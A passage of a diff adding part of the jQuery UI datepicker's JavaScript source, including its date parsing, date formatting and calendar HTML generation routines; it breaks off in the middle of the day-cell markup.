+ inst.drawYear = inst.selectedYear = inst.currentYear;
7870
+ }
7871
+ else {
7872
+ var date = new Date();
7873
+ inst.selectedDay = date.getDate();
7874
+ inst.drawMonth = inst.selectedMonth = date.getMonth();
7875
+ inst.drawYear = inst.selectedYear = date.getFullYear();
7876
+ }
7877
+ this._notifyChange(inst);
7878
+ this._adjustDate(target);
7879
+ },
7880
+
7881
+ /* Action for selecting a new month/year. */
7882
+ _selectMonthYear: function(id, select, period) {
7883
+ var target = $(id);
7884
+ var inst = this._getInst(target[0]);
7885
+ inst['selected' + (period == 'M' ? 'Month' : 'Year')] =
7886
+ inst['draw' + (period == 'M' ? 'Month' : 'Year')] =
7887
+ parseInt(select.options[select.selectedIndex].value,10);
7888
+ this._notifyChange(inst);
7889
+ this._adjustDate(target);
7890
+ },
7891
+
7892
+ /* Action for selecting a day. */
7893
+ _selectDay: function(id, month, year, td) {
7894
+ var target = $(id);
7895
+ if ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) {
7896
+ return;
7897
+ }
7898
+ var inst = this._getInst(target[0]);
7899
+ inst.selectedDay = inst.currentDay = $('a', td).html();
7900
+ inst.selectedMonth = inst.currentMonth = month;
7901
+ inst.selectedYear = inst.currentYear = year;
7902
+ this._selectDate(id, this._formatDate(inst,
7903
+ inst.currentDay, inst.currentMonth, inst.currentYear));
7904
+ },
7905
+
7906
+ /* Erase the input field and hide the date picker. */
7907
+ _clearDate: function(id) {
7908
+ var target = $(id);
7909
+ var inst = this._getInst(target[0]);
7910
+ this._selectDate(target, '');
7911
+ },
7912
+
7913
+ /* Update the input field with the selected date. */
7914
+ _selectDate: function(id, dateStr) {
7915
+ var target = $(id);
7916
+ var inst = this._getInst(target[0]);
7917
+ dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
7918
+ if (inst.input)
7919
+ inst.input.val(dateStr);
7920
+ this._updateAlternate(inst);
7921
+ var onSelect = this._get(inst, 'onSelect');
7922
+ if (onSelect)
7923
+ onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]); // trigger custom callback
7924
+ else if (inst.input)
7925
+ inst.input.trigger('change'); // fire the change event
7926
+ if (inst.inline)
7927
+ this._updateDatepicker(inst);
7928
+ else {
7929
+ this._hideDatepicker();
7930
+ this._lastInput = inst.input[0];
7931
+ if (typeof(inst.input[0]) != 'object')
7932
+ inst.input.focus(); // restore focus
7933
+ this._lastInput = null;
7934
+ }
7935
+ },
7936
+
7937
+ /* Update any alternate field to synchronise with the main field. */
7938
+ _updateAlternate: function(inst) {
7939
+ var altField = this._get(inst, 'altField');
7940
+ if (altField) { // update alternate field too
7941
+ var altFormat = this._get(inst, 'altFormat') || this._get(inst, 'dateFormat');
7942
+ var date = this._getDate(inst);
7943
+ var dateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst));
7944
+ $(altField).each(function() { $(this).val(dateStr); });
7945
+ }
7946
+ },
7947
+
7948
+ /* Set as beforeShowDay function to prevent selection of weekends.
7949
+ @param date Date - the date to customise
7950
+ @return [boolean, string] - is this date selectable?, what is its CSS class? */
7951
+ noWeekends: function(date) {
7952
+ var day = date.getDay();
7953
+ return [(day > 0 && day < 6), ''];
7954
+ },
7955
+
7956
+ /* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
7957
+ @param date Date - the date to get the week for
7958
+ @return number - the number of the week within the year that contains this date */
7959
+ iso8601Week: function(date) {
7960
+ var checkDate = new Date(date.getTime());
7961
+ // Find Thursday of this week starting on Monday
7962
+ checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
7963
+ var time = checkDate.getTime();
7964
+ checkDate.setMonth(0); // Compare with Jan 1
7965
+ checkDate.setDate(1);
7966
+ return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
7967
+ },
7968
+
7969
+ /* Parse a string value into a date object.
7970
+ See formatDate below for the possible formats.
7971
+
7972
+ @param format string - the expected format of the date
7973
+ @param value string - the date in the above format
7974
+ @param settings Object - attributes include:
7975
+ shortYearCutoff number - the cutoff year for determining the century (optional)
7976
+ dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
7977
+ dayNames string[7] - names of the days from Sunday (optional)
7978
+ monthNamesShort string[12] - abbreviated names of the months (optional)
7979
+ monthNames string[12] - names of the months (optional)
7980
+ @return Date - the extracted date value or null if value is blank */
7981
+ parseDate: function (format, value, settings) {
7982
+ if (format == null || value == null)
7983
+ throw 'Invalid arguments';
7984
+ value = (typeof value == 'object' ? value.toString() : value + '');
7985
+ if (value == '')
7986
+ return null;
7987
+ var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;
7988
+ shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff :
7989
+ new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
7990
+ var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
7991
+ var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
7992
+ var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
7993
+ var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
7994
+ var year = -1;
7995
+ var month = -1;
7996
+ var day = -1;
7997
+ var doy = -1;
7998
+ var literal = false;
7999
+ // Check whether a format character is doubled
8000
+ var lookAhead = function(match) {
8001
+ var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
8002
+ if (matches)
8003
+ iFormat++;
8004
+ return matches;
8005
+ };
8006
+ // Extract a number from the string value
8007
+ var getNumber = function(match) {
8008
+ var isDoubled = lookAhead(match);
8009
+ var size = (match == '@' ? 14 : (match == '!' ? 20 :
8010
+ (match == 'y' && isDoubled ? 4 : (match == 'o' ? 3 : 2))));
8011
+ var digits = new RegExp('^\\d{1,' + size + '}');
8012
+ var num = value.substring(iValue).match(digits);
8013
+ if (!num)
8014
+ throw 'Missing number at position ' + iValue;
8015
+ iValue += num[0].length;
8016
+ return parseInt(num[0], 10);
8017
+ };
8018
+ // Extract a name from the string value and convert to an index
8019
+ var getName = function(match, shortNames, longNames) {
8020
+ var names = $.map(lookAhead(match) ? longNames : shortNames, function (v, k) {
8021
+ return [ [k, v] ];
8022
+ }).sort(function (a, b) {
8023
+ return -(a[1].length - b[1].length);
8024
+ });
8025
+ var index = -1;
8026
+ $.each(names, function (i, pair) {
8027
+ var name = pair[1];
8028
+ if (value.substr(iValue, name.length).toLowerCase() == name.toLowerCase()) {
8029
+ index = pair[0];
8030
+ iValue += name.length;
8031
+ return false;
8032
+ }
8033
+ });
8034
+ if (index != -1)
8035
+ return index + 1;
8036
+ else
8037
+ throw 'Unknown name at position ' + iValue;
8038
+ };
8039
+ // Confirm that a literal character matches the string value
8040
+ var checkLiteral = function() {
8041
+ if (value.charAt(iValue) != format.charAt(iFormat))
8042
+ throw 'Unexpected literal at position ' + iValue;
8043
+ iValue++;
8044
+ };
8045
+ var iValue = 0;
8046
+ for (var iFormat = 0; iFormat < format.length; iFormat++) {
8047
+ if (literal)
8048
+ if (format.charAt(iFormat) == "'" && !lookAhead("'"))
8049
+ literal = false;
8050
+ else
8051
+ checkLiteral();
8052
+ else
8053
+ switch (format.charAt(iFormat)) {
8054
+ case 'd':
8055
+ day = getNumber('d');
8056
+ break;
8057
+ case 'D':
8058
+ getName('D', dayNamesShort, dayNames);
8059
+ break;
8060
+ case 'o':
8061
+ doy = getNumber('o');
8062
+ break;
8063
+ case 'm':
8064
+ month = getNumber('m');
8065
+ break;
8066
+ case 'M':
8067
+ month = getName('M', monthNamesShort, monthNames);
8068
+ break;
8069
+ case 'y':
8070
+ year = getNumber('y');
8071
+ break;
8072
+ case '@':
8073
+ var date = new Date(getNumber('@'));
8074
+ year = date.getFullYear();
8075
+ month = date.getMonth() + 1;
8076
+ day = date.getDate();
8077
+ break;
8078
+ case '!':
8079
+ var date = new Date((getNumber('!') - this._ticksTo1970) / 10000);
8080
+ year = date.getFullYear();
8081
+ month = date.getMonth() + 1;
8082
+ day = date.getDate();
8083
+ break;
8084
+ case "'":
8085
+ if (lookAhead("'"))
8086
+ checkLiteral();
8087
+ else
8088
+ literal = true;
8089
+ break;
8090
+ default:
8091
+ checkLiteral();
8092
+ }
8093
+ }
8094
+ if (iValue < value.length){
8095
+ throw "Extra/unparsed characters found in date: " + value.substring(iValue);
8096
+ }
8097
+ if (year == -1)
8098
+ year = new Date().getFullYear();
8099
+ else if (year < 100)
8100
+ year += new Date().getFullYear() - new Date().getFullYear() % 100 +
8101
+ (year <= shortYearCutoff ? 0 : -100);
8102
+ if (doy > -1) {
8103
+ month = 1;
8104
+ day = doy;
8105
+ do {
8106
+ var dim = this._getDaysInMonth(year, month - 1);
8107
+ if (day <= dim)
8108
+ break;
8109
+ month++;
8110
+ day -= dim;
8111
+ } while (true);
8112
+ }
8113
+ var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
8114
+ if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day)
8115
+ throw 'Invalid date'; // E.g. 31/02/00
8116
+ return date;
8117
+ },
8118
+
8119
+ /* Standard date formats. */
8120
+ ATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601)
8121
+ COOKIE: 'D, dd M yy',
8122
+ ISO_8601: 'yy-mm-dd',
8123
+ RFC_822: 'D, d M y',
8124
+ RFC_850: 'DD, dd-M-y',
8125
+ RFC_1036: 'D, d M y',
8126
+ RFC_1123: 'D, d M yy',
8127
+ RFC_2822: 'D, d M yy',
8128
+ RSS: 'D, d M y', // RFC 822
8129
+ TICKS: '!',
8130
+ TIMESTAMP: '@',
8131
+ W3C: 'yy-mm-dd', // ISO 8601
8132
+
8133
+ _ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970 / 100) +
8134
+ Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),
8135
+
8136
+ /* Format a date object into a string value.
8137
+ The format can be combinations of the following:
8138
+ d - day of month (no leading zero)
8139
+ dd - day of month (two digit)
8140
+ o - day of year (no leading zeros)
8141
+ oo - day of year (three digit)
8142
+ D - day name short
8143
+ DD - day name long
8144
+ m - month of year (no leading zero)
8145
+ mm - month of year (two digit)
8146
+ M - month name short
8147
+ MM - month name long
8148
+ y - year (two digit)
8149
+ yy - year (four digit)
8150
+ @ - Unix timestamp (ms since 01/01/1970)
8151
+ ! - Windows ticks (100ns since 01/01/0001)
8152
+ '...' - literal text
8153
+ '' - single quote
8154
+
8155
+ @param format string - the desired format of the date
8156
+ @param date Date - the date value to format
8157
+ @param settings Object - attributes include:
8158
+ dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
8159
+ dayNames string[7] - names of the days from Sunday (optional)
8160
+ monthNamesShort string[12] - abbreviated names of the months (optional)
8161
+ monthNames string[12] - names of the months (optional)
8162
+ @return string - the date in the above format */
8163
+ formatDate: function (format, date, settings) {
8164
+ if (!date)
8165
+ return '';
8166
+ var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
8167
+ var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
8168
+ var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
8169
+ var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
8170
+ // Check whether a format character is doubled
8171
+ var lookAhead = function(match) {
8172
+ var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
8173
+ if (matches)
8174
+ iFormat++;
8175
+ return matches;
8176
+ };
8177
+ // Format a number, with leading zero if necessary
8178
+ var formatNumber = function(match, value, len) {
8179
+ var num = '' + value;
8180
+ if (lookAhead(match))
8181
+ while (num.length < len)
8182
+ num = '0' + num;
8183
+ return num;
8184
+ };
8185
+ // Format a name, short or long as requested
8186
+ var formatName = function(match, value, shortNames, longNames) {
8187
+ return (lookAhead(match) ? longNames[value] : shortNames[value]);
8188
+ };
8189
+ var output = '';
8190
+ var literal = false;
8191
+ if (date)
8192
+ for (var iFormat = 0; iFormat < format.length; iFormat++) {
8193
+ if (literal)
8194
+ if (format.charAt(iFormat) == "'" && !lookAhead("'"))
8195
+ literal = false;
8196
+ else
8197
+ output += format.charAt(iFormat);
8198
+ else
8199
+ switch (format.charAt(iFormat)) {
8200
+ case 'd':
8201
+ output += formatNumber('d', date.getDate(), 2);
8202
+ break;
8203
+ case 'D':
8204
+ output += formatName('D', date.getDay(), dayNamesShort, dayNames);
8205
+ break;
8206
+ case 'o':
8207
+ output += formatNumber('o',
8208
+ Math.round((new Date(date.getFullYear(), date.getMonth(), date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) / 86400000), 3);
8209
+ break;
8210
+ case 'm':
8211
+ output += formatNumber('m', date.getMonth() + 1, 2);
8212
+ break;
8213
+ case 'M':
8214
+ output += formatName('M', date.getMonth(), monthNamesShort, monthNames);
8215
+ break;
8216
+ case 'y':
8217
+ output += (lookAhead('y') ? date.getFullYear() :
8218
+ (date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);
8219
+ break;
8220
+ case '@':
8221
+ output += date.getTime();
8222
+ break;
8223
+ case '!':
8224
+ output += date.getTime() * 10000 + this._ticksTo1970;
8225
+ break;
8226
+ case "'":
8227
+ if (lookAhead("'"))
8228
+ output += "'";
8229
+ else
8230
+ literal = true;
8231
+ break;
8232
+ default:
8233
+ output += format.charAt(iFormat);
8234
+ }
8235
+ }
8236
+ return output;
8237
+ },
8238
+
8239
+ /* Extract all possible characters from the date format. */
8240
+ _possibleChars: function (format) {
8241
+ var chars = '';
8242
+ var literal = false;
8243
+ // Check whether a format character is doubled
8244
+ var lookAhead = function(match) {
8245
+ var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
8246
+ if (matches)
8247
+ iFormat++;
8248
+ return matches;
8249
+ };
8250
+ for (var iFormat = 0; iFormat < format.length; iFormat++)
8251
+ if (literal)
8252
+ if (format.charAt(iFormat) == "'" && !lookAhead("'"))
8253
+ literal = false;
8254
+ else
8255
+ chars += format.charAt(iFormat);
8256
+ else
8257
+ switch (format.charAt(iFormat)) {
8258
+ case 'd': case 'm': case 'y': case '@':
8259
+ chars += '0123456789';
8260
+ break;
8261
+ case 'D': case 'M':
8262
+ return null; // Accept anything
8263
+ case "'":
8264
+ if (lookAhead("'"))
8265
+ chars += "'";
8266
+ else
8267
+ literal = true;
8268
+ break;
8269
+ default:
8270
+ chars += format.charAt(iFormat);
8271
+ }
8272
+ return chars;
8273
+ },
8274
+
8275
+ /* Get a setting value, defaulting if necessary. */
8276
+ _get: function(inst, name) {
8277
+ return inst.settings[name] !== undefined ?
8278
+ inst.settings[name] : this._defaults[name];
8279
+ },
8280
+
8281
+ /* Parse existing date and initialise date picker. */
8282
+ _setDateFromField: function(inst, noDefault) {
8283
+ if (inst.input.val() == inst.lastVal) {
8284
+ return;
8285
+ }
8286
+ var dateFormat = this._get(inst, 'dateFormat');
8287
+ var dates = inst.lastVal = inst.input ? inst.input.val() : null;
8288
+ var date, defaultDate;
8289
+ date = defaultDate = this._getDefaultDate(inst);
8290
+ var settings = this._getFormatConfig(inst);
8291
+ try {
8292
+ date = this.parseDate(dateFormat, dates, settings) || defaultDate;
8293
+ } catch (event) {
8294
+ this.log(event);
8295
+ dates = (noDefault ? '' : dates);
8296
+ }
8297
+ inst.selectedDay = date.getDate();
8298
+ inst.drawMonth = inst.selectedMonth = date.getMonth();
8299
+ inst.drawYear = inst.selectedYear = date.getFullYear();
8300
+ inst.currentDay = (dates ? date.getDate() : 0);
8301
+ inst.currentMonth = (dates ? date.getMonth() : 0);
8302
+ inst.currentYear = (dates ? date.getFullYear() : 0);
8303
+ this._adjustInstDate(inst);
8304
+ },
8305
+
8306
+ /* Retrieve the default date shown on opening. */
8307
+ _getDefaultDate: function(inst) {
8308
+ return this._restrictMinMax(inst,
8309
+ this._determineDate(inst, this._get(inst, 'defaultDate'), new Date()));
8310
+ },
8311
+
8312
+ /* A date may be specified as an exact value or a relative one. */
8313
+ _determineDate: function(inst, date, defaultDate) {
8314
+ var offsetNumeric = function(offset) {
8315
+ var date = new Date();
8316
+ date.setDate(date.getDate() + offset);
8317
+ return date;
8318
+ };
8319
+ var offsetString = function(offset) {
8320
+ try {
8321
+ return $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'),
8322
+ offset, $.datepicker._getFormatConfig(inst));
8323
+ }
8324
+ catch (e) {
8325
+ // Ignore
8326
+ }
8327
+ var date = (offset.toLowerCase().match(/^c/) ?
8328
+ $.datepicker._getDate(inst) : null) || new Date();
8329
+ var year = date.getFullYear();
8330
+ var month = date.getMonth();
8331
+ var day = date.getDate();
8332
+ var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
8333
+ var matches = pattern.exec(offset);
8334
+ while (matches) {
8335
+ switch (matches[2] || 'd') {
8336
+ case 'd' : case 'D' :
8337
+ day += parseInt(matches[1],10); break;
8338
+ case 'w' : case 'W' :
8339
+ day += parseInt(matches[1],10) * 7; break;
8340
+ case 'm' : case 'M' :
8341
+ month += parseInt(matches[1],10);
8342
+ day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
8343
+ break;
8344
+ case 'y': case 'Y' :
8345
+ year += parseInt(matches[1],10);
8346
+ day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
8347
+ break;
8348
+ }
8349
+ matches = pattern.exec(offset);
8350
+ }
8351
+ return new Date(year, month, day);
8352
+ };
8353
+ var newDate = (date == null || date === '' ? defaultDate : (typeof date == 'string' ? offsetString(date) :
8354
+ (typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : new Date(date.getTime()))));
8355
+ newDate = (newDate && newDate.toString() == 'Invalid Date' ? defaultDate : newDate);
8356
+ if (newDate) {
8357
+ newDate.setHours(0);
8358
+ newDate.setMinutes(0);
8359
+ newDate.setSeconds(0);
8360
+ newDate.setMilliseconds(0);
8361
+ }
8362
+ return this._daylightSavingAdjust(newDate);
8363
+ },
8364
+
8365
+ /* Handle switch to/from daylight saving.
8366
+ Hours may be non-zero on daylight saving cut-over:
8367
+ > 12 when midnight changeover, but then cannot generate
8368
+ midnight datetime, so jump to 1AM, otherwise reset.
8369
+ @param date (Date) the date to check
8370
+ @return (Date) the corrected date */
8371
+ _daylightSavingAdjust: function(date) {
8372
+ if (!date) return null;
8373
+ date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
8374
+ return date;
8375
+ },
8376
+
8377
+ /* Set the date(s) directly. */
8378
+ _setDate: function(inst, date, noChange) {
8379
+ var clear = !date;
8380
+ var origMonth = inst.selectedMonth;
8381
+ var origYear = inst.selectedYear;
8382
+ var newDate = this._restrictMinMax(inst, this._determineDate(inst, date, new Date()));
8383
+ inst.selectedDay = inst.currentDay = newDate.getDate();
8384
+ inst.drawMonth = inst.selectedMonth = inst.currentMonth = newDate.getMonth();
8385
+ inst.drawYear = inst.selectedYear = inst.currentYear = newDate.getFullYear();
8386
+ if ((origMonth != inst.selectedMonth || origYear != inst.selectedYear) && !noChange)
8387
+ this._notifyChange(inst);
8388
+ this._adjustInstDate(inst);
8389
+ if (inst.input) {
8390
+ inst.input.val(clear ? '' : this._formatDate(inst));
8391
+ }
8392
+ },
8393
+
8394
+ /* Retrieve the date(s) directly. */
8395
+ _getDate: function(inst) {
8396
+ var startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null :
8397
+ this._daylightSavingAdjust(new Date(
8398
+ inst.currentYear, inst.currentMonth, inst.currentDay)));
8399
+ return startDate;
8400
+ },
8401
+
8402
+ /* Generate the HTML for the current state of the date picker. */
8403
+ _generateHTML: function(inst) {
8404
+ var today = new Date();
8405
+ today = this._daylightSavingAdjust(
8406
+ new Date(today.getFullYear(), today.getMonth(), today.getDate())); // clear time
8407
+ var isRTL = this._get(inst, 'isRTL');
8408
+ var showButtonPanel = this._get(inst, 'showButtonPanel');
8409
+ var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
8410
+ var navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat');
8411
+ var numMonths = this._getNumberOfMonths(inst);
8412
+ var showCurrentAtPos = this._get(inst, 'showCurrentAtPos');
8413
+ var stepMonths = this._get(inst, 'stepMonths');
8414
+ var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
8415
+ var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) :
8416
+ new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
8417
+ var minDate = this._getMinMaxDate(inst, 'min');
8418
+ var maxDate = this._getMinMaxDate(inst, 'max');
8419
+ var drawMonth = inst.drawMonth - showCurrentAtPos;
8420
+ var drawYear = inst.drawYear;
8421
+ if (drawMonth < 0) {
8422
+ drawMonth += 12;
8423
+ drawYear--;
8424
+ }
8425
+ if (maxDate) {
8426
+ var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
8427
+ maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1, maxDate.getDate()));
8428
+ maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
8429
+ while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
8430
+ drawMonth--;
8431
+ if (drawMonth < 0) {
8432
+ drawMonth = 11;
8433
+ drawYear--;
8434
+ }
8435
+ }
8436
+ }
8437
+ inst.drawMonth = drawMonth;
8438
+ inst.drawYear = drawYear;
8439
+ var prevText = this._get(inst, 'prevText');
8440
+ prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText,
8441
+ this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)),
8442
+ this._getFormatConfig(inst)));
8443
+ var prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
8444
+ '<a class="ui-datepicker-prev ui-corner-all" onclick="DP_jQuery_' + dpuuid +
8445
+ '.datepicker._adjustDate(\'#' + inst.id + '\', -' + stepMonths + ', \'M\');"' +
8446
+ ' title="' + prevText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '">' + prevText + '</span></a>' :
8447
+ (hideIfNoPrevNext ? '' : '<a class="ui-datepicker-prev ui-corner-all ui-state-disabled" title="'+ prevText +'"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') + '">' + prevText + '</span></a>'));
8448
+ var nextText = this._get(inst, 'nextText');
8449
+ nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText,
8450
+ this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)),
8451
+ this._getFormatConfig(inst)));
8452
+ var next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
8453
+ '<a class="ui-datepicker-next ui-corner-all" onclick="DP_jQuery_' + dpuuid +
8454
+ '.datepicker._adjustDate(\'#' + inst.id + '\', +' + stepMonths + ', \'M\');"' +
8455
+ ' title="' + nextText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '">' + nextText + '</span></a>' :
8456
+ (hideIfNoPrevNext ? '' : '<a class="ui-datepicker-next ui-corner-all ui-state-disabled" title="'+ nextText + '"><span class="ui-icon ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') + '">' + nextText + '</span></a>'));
8457
+ var currentText = this._get(inst, 'currentText');
8458
+ var gotoDate = (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today);
8459
+ currentText = (!navigationAsDateFormat ? currentText :
8460
+ this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
8461
+ var controls = (!inst.inline ? '<button type="button" class="ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all" onclick="DP_jQuery_' + dpuuid +
8462
+ '.datepicker._hideDatepicker();">' + this._get(inst, 'closeText') + '</button>' : '');
8463
+ var buttonPanel = (showButtonPanel) ? '<div class="ui-datepicker-buttonpane ui-widget-content">' + (isRTL ? controls : '') +
8464
+ (this._isInRange(inst, gotoDate) ? '<button type="button" class="ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all" onclick="DP_jQuery_' + dpuuid +
8465
+ '.datepicker._gotoToday(\'#' + inst.id + '\');"' +
8466
+ '>' + currentText + '</button>' : '') + (isRTL ? '' : controls) + '</div>' : '';
8467
+ var firstDay = parseInt(this._get(inst, 'firstDay'),10);
8468
+ firstDay = (isNaN(firstDay) ? 0 : firstDay);
8469
+ var showWeek = this._get(inst, 'showWeek');
8470
+ var dayNames = this._get(inst, 'dayNames');
8471
+ var dayNamesShort = this._get(inst, 'dayNamesShort');
8472
+ var dayNamesMin = this._get(inst, 'dayNamesMin');
8473
+ var monthNames = this._get(inst, 'monthNames');
8474
+ var monthNamesShort = this._get(inst, 'monthNamesShort');
8475
+ var beforeShowDay = this._get(inst, 'beforeShowDay');
8476
+ var showOtherMonths = this._get(inst, 'showOtherMonths');
8477
+ var selectOtherMonths = this._get(inst, 'selectOtherMonths');
8478
+ var calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week;
8479
+ var defaultDate = this._getDefaultDate(inst);
8480
+ var html = '';
8481
+ for (var row = 0; row < numMonths[0]; row++) {
8482
+ var group = '';
8483
+ this.maxRows = 4;
8484
+ for (var col = 0; col < numMonths[1]; col++) {
8485
+ var selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
8486
+ var cornerClass = ' ui-corner-all';
8487
+ var calender = '';
8488
+ if (isMultiMonth) {
8489
+ calender += '<div class="ui-datepicker-group';
8490
+ if (numMonths[1] > 1)
8491
+ switch (col) {
8492
+ case 0: calender += ' ui-datepicker-group-first';
8493
+ cornerClass = ' ui-corner-' + (isRTL ? 'right' : 'left'); break;
8494
+ case numMonths[1]-1: calender += ' ui-datepicker-group-last';
8495
+ cornerClass = ' ui-corner-' + (isRTL ? 'left' : 'right'); break;
8496
+ default: calender += ' ui-datepicker-group-middle'; cornerClass = ''; break;
8497
+ }
8498
+ calender += '">';
8499
+ }
8500
+ calender += '<div class="ui-datepicker-header ui-widget-header ui-helper-clearfix' + cornerClass + '">' +
8501
+ (/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next : prev) : '') +
8502
+ (/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev : next) : '') +
8503
+ this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate,
8504
+ row > 0 || col > 0, monthNames, monthNamesShort) + // draw month headers
8505
+ '</div><table class="ui-datepicker-calendar"><thead>' +
8506
+ '<tr>';
8507
+ var thead = (showWeek ? '<th class="ui-datepicker-week-col">' + this._get(inst, 'weekHeader') + '</th>' : '');
8508
+ for (var dow = 0; dow < 7; dow++) { // days of the week
8509
+ var day = (dow + firstDay) % 7;
8510
+ thead += '<th' + ((dow + firstDay + 6) % 7 >= 5 ? ' class="ui-datepicker-week-end"' : '') + '>' +
8511
+ '<span title="' + dayNames[day] + '">' + dayNamesMin[day] + '</span></th>';
8512
+ }
8513
+ calender += thead + '</tr></thead><tbody>';
8514
+ var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
8515
+ if (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth)
8516
+ inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
8517
+ var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
8518
+ var curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the number of rows to generate
8519
+ var numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows); //If multiple months, use the higher number of rows (see #7043)
8520
+ this.maxRows = numRows;
8521
+ var printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
8522
+ for (var dRow = 0; dRow < numRows; dRow++) { // create date picker rows
8523
+ calender += '<tr>';
8524
+ var tbody = (!showWeek ? '' : '<td class="ui-datepicker-week-col">' +
8525
+ this._get(inst, 'calculateWeek')(printDate) + '</td>');
8526
+ for (var dow = 0; dow < 7; dow++) { // create date picker days
8527
+ var daySettings = (beforeShowDay ?
8528
+ beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']);
8529
+ var otherMonth = (printDate.getMonth() != drawMonth);
8530
+ var unselectable = (otherMonth && !selectOtherMonths) || !daySettings[0] ||
8531
+ (minDate && printDate < minDate) || (maxDate && printDate > maxDate);
8532
+ tbody += '<td class="' +
8533
+ ((dow + firstDay + 6) % 7 >= 5 ? ' ui-datepicker-week-end' : '') + // highlight weekends
8534
+ (otherMonth ? ' ui-datepicker-other-month' : '') + // highlight days from other months
8535
+ ((printDate.getTime() == selectedDate.getTime() && drawMonth == inst.selectedMonth && inst._keyEvent) || // user pressed key
8536
+ (defaultDate.getTime() == printDate.getTime() && defaultDate.getTime() == selectedDate.getTime()) ?
8537
+ // or defaultDate is current printedDate and defaultDate is selectedDate
8538
+ ' ' + this._dayOverClass : '') + // highlight selected day
8539
+ (unselectable ? ' ' + this._unselectableClass + ' ui-state-disabled': '') + // highlight unselectable days
8540
+ (otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + // highlight custom dates
8541
+ (printDate.getTime() == currentDate.getTime() ? ' ' + this._currentClass : '') + // highlight selected day
8542
+ (printDate.getTime() == today.getTime() ? ' ui-datepicker-today' : '')) + '"' + // highlight today (if different)
8543
+ ((!otherMonth || showOtherMonths) && daySettings[2] ? ' title="' + daySettings[2] + '"' : '') + // cell title
8544
+ (unselectable ? '' : ' onclick="DP_jQuery_' + dpuuid + '.datepicker._selectDay(\'#' +
8545
+ inst.id + '\',' + printDate.getMonth() + ',' + printDate.getFullYear() + ', this);return false;"') + '>' + // actions
8546
+ (otherMonth && !showOtherMonths ? '&#xa0;' : // display for other months
8547
